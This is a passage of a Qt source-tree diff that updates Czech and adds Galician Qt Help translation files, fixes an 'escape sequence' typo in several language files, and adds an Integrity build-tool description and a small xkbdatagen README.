- <location line="+6"/>
<source>No output file name specified!</source>
<translation>Pro výstupní soubor nebyl zadán žádný název!</translation>
</message>
<message>
- <location line="+14"/>
<source>Building up file structure...</source>
<translation>Vytváří se uspořádání souboru...</translation>
</message>
<message>
- <location line="-7"/>
<source>The file %1 cannot be overwritten!</source>
<translation>Soubor %1 nelze přepsat!</translation>
</message>
<message>
- <location line="+18"/>
<source>Cannot open data base file %1!</source>
<translation>Nelze otevřít soubor s databází: %1!</translation>
</message>
<message>
- <location line="+11"/>
<source>Cannot register namespace %1!</source>
<translation>Nelze zapsat jmenný prostor %1!</translation>
</message>
<message>
- <location line="+6"/>
<source>Insert custom filters...</source>
<translation>Vložit uživatelsky stanovené filtry...</translation>
</message>
<message>
- <location line="+12"/>
<source>Insert help data for filter section (%1 of %2)...</source>
<translation>Vložit data s nápovědou pro oddělení s filtrem (%1 von %2) einfügen...</translation>
</message>
<message>
- <location line="+18"/>
<source>Documentation successfully generated.</source>
<translation>Dokumentace byla úspěšně vytvořena.</translation>
</message>
<message>
- <location line="+76"/>
<source>Some tables already exist!</source>
<translation>Některé tabulky již existují!</translation>
</message>
<message>
- <location line="+61"/>
<source>Cannot create tables!</source>
<translation>Tabulky nelze vytvořit!</translation>
</message>
<message>
- <location line="+86"/>
<source>Cannot register virtual folder!</source>
<translation>Virtuální adresář nelze zapsat!</translation>
</message>
<message>
- <location line="+10"/>
<source>Insert files...</source>
<translation>Vložit soubory...</translation>
</message>
<message>
- <location line="+42"/>
<source>The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it.</source>
<translation>Odkazovaný soubor %1 se musí nacházet v adresáři %2 nebo v jeho podadresáři. Přeskakuje se.</translation>
</message>
<message>
- <location line="+7"/>
<source>The file %1 does not exist! Skipping it.</source>
<translation>Soubor %1 neexistuje! Přeskakuje se.</translation>
</message>
<message>
- <location line="+6"/>
<source>Cannot open file %1! Skipping it.</source>
<translation>Soubor %1 nelze otevřít! Přeskakuje se.</translation>
</message>
<message>
- <location line="+131"/>
<source>The filter %1 is already registered!</source>
<translation>Filtr %1 je již zapsán!</translation>
</message>
<message>
- <location line="+5"/>
<source>Cannot register filter %1!</source>
<translation>Nelze zapsat filtr %1!</translation>
</message>
<message>
- <location line="+24"/>
<source>Insert indices...</source>
<translation>Vložit rejstříky...</translation>
</message>
<message>
- <location line="+80"/>
<source>Insert contents...</source>
<translation>Vložit obsah...</translation>
</message>
<message>
- <location line="+8"/>
<source>Cannot insert contents!</source>
<translation>Obsah nelze vložit!</translation>
</message>
<message>
- <location line="+12"/>
<source>Cannot register contents!</source>
<translation>Obsah nelze zapsat!</translation>
</message>
+ <message>
+ <source>File &apos;%1&apos; does not exist.</source>
+ <translation>Soubor &apos;%1&apos; neexistuje.</translation>
+ </message>
+ <message>
+ <source>File &apos;%1&apos; cannot be opened.</source>
+ <translation>Soubor &apos;%1&apos; nelze otevřít.</translation>
+ </message>
+ <message>
+ <source>File &apos;%1&apos; contains an invalid link to file &apos;%2&apos;</source>
+ <translation>Soubor &apos;%1&apos; obsahuje neplatný odkaz na soubor &apos;%2&apos;</translation>
+ </message>
+ <message>
+ <source>Invalid links in HTML files.</source>
+ <translation>Neplatné odkazy v souborech HTML.</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpProject</name>
+ <message>
+ <source>Unknown token.</source>
+ <translation>Neznámý symbol.</translation>
+ </message>
+ <message>
+ <source>Unknown token. Expected &quot;QtHelpProject&quot;!</source>
+ <translation>Neznámý symbol. Byl očekáván &quot;QtHelpProject&quot;!</translation>
+ </message>
+ <message>
+ <source>Error in line %1: %2</source>
+ <translation>Chyba na řádku %1: %2</translation>
+ </message>
+ <message>
+ <source>Virtual folder has invalid syntax.</source>
+ <translation>Virtuální složka má neplatnou skladbu.</translation>
+ </message>
+ <message>
+ <source>Namespace has invalid syntax.</source>
+ <translation>Jmenný prostor má neplatnou skladbu.</translation>
+ </message>
+ <message>
+ <source>Missing namespace in QtHelpProject.</source>
+ <translation>Chybějící jmenný prostor QtHelpProject.</translation>
+ </message>
+ <message>
+ <source>Missing virtual folder in QtHelpProject</source>
+ <translation>Chybějící virtuální složka v QtHelpProject.</translation>
+ </message>
+ <message>
+ <source>Missing attribute in keyword at line %1.</source>
+ <translation>Chybějící vlastnost v klíčovém slově na řádku %1.</translation>
+ </message>
+ <message>
+ <source>The input file %1 could not be opened!</source>
+ <translation>Vstupní soubor %1 se nepodařilo otevřít!</translation>
+ </message>
</context>
<context>
<name>QHelpSearchQueryWidget</name>
<message>
- <location filename="../tools/assistant/lib/qhelpsearchquerywidget.cpp" line="+411"/>
<source>Search for:</source>
<translation>Hledat:</translation>
</message>
<message>
- <location line="+5"/>
<source>Previous search</source>
<translation>Předchozí hledání</translation>
</message>
<message>
- <location line="+4"/>
<source>Next search</source>
<translation>Další hledání</translation>
</message>
<message>
- <location line="+2"/>
<source>Search</source>
<translation>Hledat</translation>
</message>
<message>
- <location line="+20"/>
<source>Advanced search</source>
<translation>Rozšířené hledání</translation>
</message>
<message>
- <location line="+18"/>
<source>words &lt;B&gt;similar&lt;/B&gt; to:</source>
<translation>Slova &lt;B&gt;podobná&lt;/B&gt;:</translation>
</message>
<message>
- <location line="+6"/>
<source>&lt;B&gt;without&lt;/B&gt; the words:</source>
<translation>&lt;B&gt;beze&lt;/B&gt; slov:</translation>
</message>
<message>
- <location line="+6"/>
<source>with &lt;B&gt;exact phrase&lt;/B&gt;:</source>
<translation>s &lt;B&gt;přesnou skupinou slov&lt;/B&gt;:</translation>
</message>
<message>
- <location line="+6"/>
<source>with &lt;B&gt;all&lt;/B&gt; of the words:</source>
<translation>se &lt;B&gt;všemi&lt;/B&gt; slovy:</translation>
</message>
<message>
- <location line="+6"/>
<source>with &lt;B&gt;at least one&lt;/B&gt; of the words:</source>
<translation>s &lt;B&gt;jakýmkoli&lt;/B&gt; ze slov:</translation>
</message>
</context>
<context>
<name>QHelpSearchResultWidget</name>
+ <message numerus="yes">
+ <source>%1 - %2 of %n Hits</source>
+ <translation>
+ <numerusform>%1 - %2 - jeden zásah</numerusform>
+ <numerusform>%1 - %2 ze %n zásahů</numerusform>
+ <numerusform>%1 - %2 z %n zásahů</numerusform>
+ </translation>
+ </message>
<message>
- <location filename="../tools/assistant/lib/qhelpsearchresultwidget.cpp" line="+235"/>
<source>0 - 0 of 0 Hits</source>
<translation>0 - 0 z 0 zásahů</translation>
</message>
@@ -334,62 +351,51 @@
<context>
<name>QHelpSearchResultWidgetPrivate</name>
<message>
- <location line="-61"/>
<source>%1 - %2 of %3 Hits</source>
- <translation>%1 - %2 z %3 zásahů</translation>
+ <translation type="obsolete">%1 - %2 z %3 zásahů</translation>
</message>
</context>
<context>
<name>QObject</name>
<message>
- <location filename="../tools/assistant/lib/qhelp_global.h" line="+83"/>
<source>Untitled</source>
- <translation>Bez názvu</translation>
+ <translation type="obsolete">Bez názvu</translation>
</message>
<message>
- <location filename="../tools/assistant/lib/qhelpprojectdata.cpp" line="+85"/>
<source>Unknown token.</source>
- <translation>Neznámý symbol.</translation>
+ <translation type="obsolete">Neznámý symbol.</translation>
</message>
<message>
- <location line="+13"/>
<source>Unknown token. Expected &quot;QtHelpProject&quot;!</source>
- <translation>Neznámý symbol. Byl očekáván &quot;QtHelpProject&quot;!</translation>
+ <translation type="obsolete">Neznámý symbol. Byl očekáván &quot;QtHelpProject&quot;!</translation>
</message>
<message>
- <location line="+5"/>
<source>Error in line %1: %2</source>
- <translation>Chyba na řádku %1: %2</translation>
+ <translation type="obsolete">Chyba na řádku %1: %2</translation>
</message>
<message>
- <location line="+13"/>
<source>A virtual folder must not contain a &apos;/&apos; character!</source>
- <translation>Virtuální složka nesmí obsahovat znak &apos;/&apos;!</translation>
+ <translation type="obsolete">Virtuální složka nesmí obsahovat znak &apos;/&apos;!</translation>
</message>
<message>
- <location line="+4"/>
<source>A namespace must not contain a &apos;/&apos; character!</source>
- <translation>Jmenný prostor nesmí obsahovat znak &apos;/&apos;!</translation>
+ <translation type="obsolete">Jmenný prostor nesmí obsahovat znak &apos;/&apos;!</translation>
</message>
<message>
- <location line="+16"/>
<source>Missing namespace in QtHelpProject.</source>
- <translation>Chybějící jmenný prostor QtHelpProject.</translation>
+ <translation type="obsolete">Chybějící jmenný prostor QtHelpProject.</translation>
</message>
<message>
- <location line="+2"/>
<source>Missing virtual folder in QtHelpProject</source>
- <translation>Chybějící virtuální složka v QtHelpProject.</translation>
+ <translation type="obsolete">Chybějící virtuální složka v QtHelpProject.</translation>
</message>
<message>
- <location line="+88"/>
<source>Missing attribute in keyword at line %1.</source>
- <translation>Chybějící vlastnost v klíčovém slově na řádku %1.</translation>
+ <translation type="obsolete">Chybějící vlastnost v klíčovém slově na řádku %1.</translation>
</message>
<message>
- <location line="+123"/>
<source>The input file %1 could not be opened!</source>
- <translation>Vstupní soubor %1 se nepodařilo otevřít!</translation>
+ <translation type="obsolete">Vstupní soubor %1 se nepodařilo otevřít!</translation>
</message>
</context>
</TS>
diff --git a/translations/qt_help_gl.ts b/translations/qt_help_gl.ts
new file mode 100644
index 0000000..a3da29a
--- /dev/null
+++ b/translations/qt_help_gl.ts
@@ -0,0 +1,320 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="gl_ES" sourcelanguage="en">
+<context>
+ <name>QCLuceneResultWidget</name>
+ <message>
+ <source>Search Results</source>
+ <translation>Resultados da procura</translation>
+ </message>
+ <message>
+ <source>Note:</source>
+ <translation>Nota:</translation>
+ </message>
+ <message>
+ <source>The search results may not be complete since the documentation is still being indexed!</source>
+ <translation>Poida que os resultados da procura non sexan completos porque a documentación
+aínda se está a indexar!</translation>
+ </message>
+ <message>
+ <source>Your search did not match any documents.</source>
+ <translation>A procura non atopou documento ningún.</translation>
+ </message>
+ <message>
+ <source>(The reason for this might be that the documentation is still being indexed.)</source>
+ <translation>(A razón disto pode ser que a documentación aínda estea a indexarse.)</translation>
+ </message>
+</context>
+<context>
+ <name>QHelp</name>
+ <message>
+ <source>Untitled</source>
+ <translation>Sen título</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpCollectionHandler</name>
+ <message>
+ <source>The collection file &apos;%1&apos; is not set up yet!</source>
+ <translation>O ficheiro de colección «%1» aínda non está configurado!</translation>
+ </message>
+ <message>
+ <source>Cannot load sqlite database driver!</source>
+ <translation>Non se pode cargar o controlador da base de datos sqlite!</translation>
+ </message>
+ <message>
+ <source>Cannot open collection file: %1</source>
+ <translation>Non foi posíbel abrir o ficheiro de colección: %1</translation>
+ </message>
+ <message>
+ <source>Cannot create tables in file %1!</source>
+ <translation>Non foi posíbel crear as táboas no ficheiro %1!</translation>
+ </message>
+ <message>
+ <source>The collection file &apos;%1&apos; already exists!</source>
+ <translation>O ficheiro de colección «%1» xa existe!</translation>
+ </message>
+ <message>
+ <source>Cannot create directory: %1</source>
+ <translation>Non foi posíbel crear o directorio: %1</translation>
+ </message>
+ <message>
+ <source>Cannot copy collection file: %1</source>
+ <translation>Non foi posíbel copiar o ficheiro de colección: %1</translation>
+ </message>
+ <message>
+ <source>Unknown filter &apos;%1&apos;!</source>
+ <translation>Non se coñece o filtro «%1»!</translation>
+ </message>
+ <message>
+ <source>Cannot register filter %1!</source>
+ <translation>Non foi posíbel rexistrar o filtro %1!</translation>
+ </message>
+ <message>
+ <source>Cannot open documentation file %1!</source>
+ <translation>Non foi posíbel abrir o ficheiro de documentación %1!</translation>
+ </message>
+ <message>
+ <source>Invalid documentation file &apos;%1&apos;!</source>
+ <translation>O ficheiro de documentación «%1» non é válido!</translation>
+ </message>
+ <message>
+ <source>The namespace %1 was not registered!</source>
+ <translation>O espazo de nomes %1 non estaba rexistrado!</translation>
+ </message>
+ <message>
+ <source>Namespace %1 already exists!</source>
+ <translation>O espazo de nomes %1 xa existe!</translation>
+ </message>
+ <message>
+ <source>Cannot register namespace &apos;%1&apos;!</source>
+ <translation>Non foi posíbel rexistrar o espazo de nomes «%1»!</translation>
+ </message>
+ <message>
+ <source>Cannot open database &apos;%1&apos; to optimize!</source>
+ <translation>Non foi posíbel abrir a base de datos «%1» para optimizala!</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpDBReader</name>
+ <message>
+ <source>Cannot open database &apos;%1&apos; &apos;%2&apos;: %3</source>
+ <extracomment>The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string</extracomment>
+ <translation>Non foi posíbel abrir a base de datos «%1» «%2»: %3</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpEngineCore</name>
+ <message>
+ <source>Cannot open documentation file %1: %2!</source>
+ <translation>Non foi posíbel abrir o ficheiro de documentación %1: %2!</translation>
+ </message>
+ <message>
+ <source>The specified namespace does not exist!</source>
+ <translation>O espazo de nomes especificado non existe!</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpGenerator</name>
+ <message>
+ <source>Invalid help data!</source>
+ <translation>Datos de axuda non válidos!</translation>
+ </message>
+ <message>
+ <source>No output file name specified!</source>
+ <translation>Non se indicou ningún nome para o ficheiro de saída!</translation>
+ </message>
+ <message>
+ <source>The file %1 cannot be overwritten!</source>
+ <translation>O ficheiro %1 non pode sobrescribirse!</translation>
+ </message>
+ <message>
+ <source>Building up file structure...</source>
+ <translation>A construír a estrutura do ficheiro...</translation>
+ </message>
+ <message>
+ <source>Cannot open data base file %1!</source>
+ <translation>Non foi posíbel abrir o ficheiro de base de datos %1!</translation>
+ </message>
+ <message>
+ <source>Cannot register namespace %1!</source>
+ <translation>Non foi posíbel rexistrar o espazo de nomes %1!</translation>
+ </message>
+ <message>
+ <source>Insert custom filters...</source>
+ <translation>Inserir filtros personalizados...</translation>
+ </message>
+ <message>
+ <source>Insert help data for filter section (%1 of %2)...</source>
+ <translation>Inserir datos de axuda para a sección de filtro (%1 de %2)...</translation>
+ </message>
+ <message>
+ <source>Documentation successfully generated.</source>
+ <translation>A documentación xerouse correctamente.</translation>
+ </message>
+ <message>
+ <source>Some tables already exist!</source>
+ <translation>Algunhas táboas xa existen!</translation>
+ </message>
+ <message>
+ <source>Cannot create tables!</source>
+ <translation>Non foi posíbel crear as táboas!</translation>
+ </message>
+ <message>
+ <source>Cannot register virtual folder!</source>
+ <translation>Non foi posíbel rexistrar o cartafol virtual!</translation>
+ </message>
+ <message>
+ <source>Insert files...</source>
+ <translation>Inserir ficheiros...</translation>
+ </message>
+ <message>
+ <source>The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it.</source>
+ <translation>O ficheiro referenciado %1 debe estar en ou nun subdirectorio de (%2). Omitirase.</translation>
+ </message>
+ <message>
+ <source>The file %1 does not exist! Skipping it.</source>
+ <translation>O ficheiro %1 non existe! Omitirase.</translation>
+ </message>
+ <message>
+ <source>Cannot open file %1! Skipping it.</source>
+ <translation>Non foi posíbel abrir o ficheiro %1! Omitirase.</translation>
+ </message>
+ <message>
+ <source>The filter %1 is already registered!</source>
+ <translation>O filtro %1 xa está rexistrado!</translation>
+ </message>
+ <message>
+ <source>Cannot register filter %1!</source>
+ <translation>Non foi posíbel rexistrar o filtro %1!</translation>
+ </message>
+ <message>
+ <source>Insert indices...</source>
+ <translation>Inserir índices...</translation>
+ </message>
+ <message>
+ <source>Insert contents...</source>
+ <translation>Inserir contido...</translation>
+ </message>
+ <message>
+ <source>Cannot insert contents!</source>
+ <translation>Non foi posíbel inserir contido!</translation>
+ </message>
+ <message>
+ <source>Cannot register contents!</source>
+ <translation>Non foi posíbel rexistrar contido!</translation>
+ </message>
+ <message>
+ <source>File &apos;%1&apos; does not exist.</source>
+ <translation>O ficheiro «%1» non existe.</translation>
+ </message>
+ <message>
+ <source>File &apos;%1&apos; cannot be opened.</source>
+ <translation>Non foi posíbel abrir o ficheiro «%1».</translation>
+ </message>
+ <message>
+ <source>File &apos;%1&apos; contains an invalid link to file &apos;%2&apos;</source>
+ <translation>O ficheiro «%1» contén unha ligazón non válida ao ficheiro «%2»</translation>
+ </message>
+ <message>
+ <source>Invalid links in HTML files.</source>
+ <translation>Hai ligazóns non válidas en ficheiros HTML.</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpProject</name>
+ <message>
+ <source>Unknown token.</source>
+ <translation>Token descoñecido.</translation>
+ </message>
+ <message>
+ <source>Unknown token. Expected &quot;QtHelpProject&quot;!</source>
+ <translation>Token descoñecido. Agardábase «QtHelpProject»!</translation>
+ </message>
+ <message>
+ <source>Error in line %1: %2</source>
+ <translation>Erro na liña %1: %2</translation>
+ </message>
+ <message>
+ <source>Virtual folder has invalid syntax.</source>
+ <translation>O cartafol virtual ten unha sintaxe non válida.</translation>
+ </message>
+ <message>
+ <source>Namespace has invalid syntax.</source>
+ <translation>O espazo de nomes ten unha sintaxe non válida.</translation>
+ </message>
+ <message>
+ <source>Missing namespace in QtHelpProject.</source>
+ <translation>Falta o espazo de nome no QtHelpProject.</translation>
+ </message>
+ <message>
+ <source>Missing virtual folder in QtHelpProject</source>
+ <translation>Falta o cartafol virtural no QtHelpProject</translation>
+ </message>
+ <message>
+ <source>Missing attribute in keyword at line %1.</source>
+ <translation>Falta un atributo nunha palabra chave na liña %1.</translation>
+ </message>
+ <message>
+ <source>The input file %1 could not be opened!</source>
+ <translation>Non foi posíbel abrir o ficheiro de entrada %1!</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpSearchQueryWidget</name>
+ <message>
+ <source>Search for:</source>
+ <translation>Procurar:</translation>
+ </message>
+ <message>
+ <source>Previous search</source>
+ <translation>Anterior procura</translation>
+ </message>
+ <message>
+ <source>Next search</source>
+ <translation>Seguinte procura</translation>
+ </message>
+ <message>
+ <source>Search</source>
+ <translation>Procurar</translation>
+ </message>
+ <message>
+ <source>Advanced search</source>
+ <translation>Procura avanzada</translation>
+ </message>
+ <message>
+ <source>words &lt;B&gt;similar&lt;/B&gt; to:</source>
+ <translation>palabras &lt;B&gt;semellantes&lt;/B&gt; a:</translation>
+ </message>
+ <message>
+ <source>&lt;B&gt;without&lt;/B&gt; the words:</source>
+ <translation>&lt;B&gt;sen&lt;/B&gt; as palabras:</translation>
+ </message>
+ <message>
+ <source>with &lt;B&gt;exact phrase&lt;/B&gt;:</source>
+ <translation>coa &lt;B&gt;frase exacta&lt;/B&gt;:</translation>
+ </message>
+ <message>
+ <source>with &lt;B&gt;all&lt;/B&gt; of the words:</source>
+ <translation>con &lt;B&gt;todas&lt;/B&gt; as palabras:</translation>
+ </message>
+ <message>
+ <source>with &lt;B&gt;at least one&lt;/B&gt; of the words:</source>
+ <translation>con &lt;B&gt;polo menos unha&lt;/B&gt; das palabras:</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpSearchResultWidget</name>
+ <message numerus="yes">
+ <source>%1 - %2 of %n Hits</source>
+ <translation>
+ <numerusform>%1 - %2 de %n coincidencia</numerusform>
+ <numerusform></numerusform>
+ </translation>
+ </message>
+ <message>
+ <source>0 - 0 of 0 Hits</source>
+ <translation>0 - 0 de 0 coincidencias</translation>
+ </message>
+</context>
+</TS>
diff --git a/translations/qt_hu.ts b/translations/qt_hu.ts
index d9b05d1..0497477 100644
--- a/translations/qt_hu.ts
+++ b/translations/qt_hu.ts
@@ -2619,7 +2619,7 @@ erre:
</message>
<message>
<location line="+26"/>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/translations/qt_ja.ts b/translations/qt_ja.ts
index bf31fe5..db8a917 100644
--- a/translations/qt_ja.ts
+++ b/translations/qt_ja.ts
@@ -1945,7 +1945,7 @@ to
<translation>文字列が行末で閉じていません</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>無効なエスケープシーケンスです</translation>
</message>
<message>
diff --git a/translations/qt_pl.ts b/translations/qt_pl.ts
index 2b9a4df..37fbee1 100644
--- a/translations/qt_pl.ts
+++ b/translations/qt_pl.ts
@@ -1952,7 +1952,7 @@ na
<translation>Niedomknięty ciąg na końcu linii</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/translations/qt_ru.ts b/translations/qt_ru.ts
index 299799d..e20fc0c 100644
--- a/translations/qt_ru.ts
+++ b/translations/qt_ru.ts
@@ -1950,7 +1950,7 @@ to
<translation>Незакрытый текст в конце строки</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Недопустимая esc-последовательность</translation>
</message>
<message>
diff --git a/translations/qt_sl.ts b/translations/qt_sl.ts
index e9e2e75..98cca91 100644
--- a/translations/qt_sl.ts
+++ b/translations/qt_sl.ts
@@ -1961,7 +1961,7 @@ v
<translation>Nezaprt niz na koncu vrstice</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Neveljavno ubežno zaporedje</translation>
</message>
<message>
diff --git a/translations/qt_uk.ts b/translations/qt_uk.ts
index 18bac2e..7f396ad 100644
--- a/translations/qt_uk.ts
+++ b/translations/qt_uk.ts
@@ -1925,7 +1925,7 @@ to
<translation>Незакритий рядок в кінці файлу</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Неприпустима керуюча послідовність</translation>
</message>
<message>
diff --git a/util/integrity/qt.bod b/util/integrity/qt.bod
new file mode 100644
index 0000000..bdf50ce
--- /dev/null
+++ b/util/integrity/qt.bod
@@ -0,0 +1,111 @@
+CommandOptions {
+ MOCCommandOptions {
+ MOCOutput {
+ {
+ name="-o"
+ }
+ delimiter="Space"
+ merge="Replace"
+ #flags={"OUTPUTNAME"}
+ }
+ MOCDefines {
+ {
+ name="-D"
+ }
+ delimiter="Touching"
+ merge="Concat"
+ }
+ MOCIncludes {
+ {
+ name="-I"
+ }
+ delimiter="Touching"
+ merge="Concat"
+ flags={"RELATIVEPATH"}
+ }
+ }
+ UICommandOptions {
+ UIOutput {
+ {
+ name="-o"
+ }
+ delimiter="Space"
+ merge="Replace"
+ flags={"OUTPUTNAME"}
+ }
+ }
+ RCCCommandOptions {
+ RCCOutput {
+ {
+ name="-o"
+ }
+ delimiter="Space"
+ merge="Replace"
+ flags={"OUTPUTNAME"}
+ }
+ RCCName {
+ {
+ name="-name"
+ }
+ delimiter="Space"
+ merge="Replace"
+ }
+ }
+}
+
+Commands {
+ MOCPreprocessor {
+ name="MOCPreprocessor"
+ exec="${QT_BUILD_DIR}/bin/moc"
+ options={ "MOCCommandOptions", "SpecialOptions" }
+ }
+ UIPreprocessor {
+ name="UIPreprocessor"
+ exec="${QT_BUILD_DIR}/bin/uic"
+ options={ "UICommandOptions" }
+ }
+ RCCPreprocessor {
+ name="RCCPreprocessor"
+ exec="${QT_BUILD_DIR}/bin/rcc"
+ options={ "RCCCommandOptions" }
+ }
+}
+
+FileTypes {
+ MocCPP {
+ name="MOC/Qt Header"
+ outputExtension="time"
+ outputType="SourceFile"
+ command="MOCPreprocessor"
+ commandLine="${QT_BUILD_DIR}/bin/moc -nn $OPTIONS $INPUTFILE"
+ progress="MOCing"
+ extraFiles="$(OUTPUTDIR)/moc_$(OUTPUTNAMEBASE).cpp"
+ #postExecSafe={"${GHS_TOOLS_DIR}/filechanged work/$(OUTPUTNAME)"}
+ color="#0020a0"
+ grepable=true
+ }
+ RCC {
+ name="Qt Resource"
+ outputExtension="time"
+ #extensions={"qrc"}
+ outputType="SourceFile"
+ command="RCCPreprocessor"
+ commandLine="${QT_BUILD_DIR}/bin/rcc $OPTIONS $INPUTFILE"
+ extraFiles="$(OUTPUTDIR)/qrc_$(OUTPUTNAMEBASE).cpp"
+ progress="Generating Resource source from"
+ action="Generate Resource source for"
+ grepable=true
+ }
+ UI {
+ name="Qt Dialog"
+ outputExtension="time"
+ #extensions={"ui"}
+ outputType="SourceFile"
+ command="UIPreprocessor"
+ commandLine="${QT_BUILD_DIR}/bin/uic $OPTIONS $INPUTFILE"
+ extraFiles="$(OUTPUTDIR)/ui_$(OUTPUTNAMEBASE).cpp"
+ progress="Generating Dialog source from"
+ action="Generate Dialog source for"
+ grepable=true
+ }
+}
diff --git a/util/xkbdatagen/README b/util/xkbdatagen/README
new file mode 100644
index 0000000..bae68b8
--- /dev/null
+++ b/util/xkbdatagen/README
@@ -0,0 +1 @@
+program used to generate qkeymapper_x11_p.cpp
diff --git a/util/xkbdatagen/main.cpp b/util/xkbdatagen/main.cpp
index 3ec2f57..b8ececc 100644
--- a/util/xkbdatagen/main.cpp
+++ b/util/xkbdatagen/main.cpp
@@ -456,6 +456,7 @@ int main(int argc, char **argv)
"****************************************************************************/\n"
"\n"
"// This file is auto-generated, do not edit!\n"
+ "// (Generated using util/xkbdatagen)\n"
"\n");
// data structure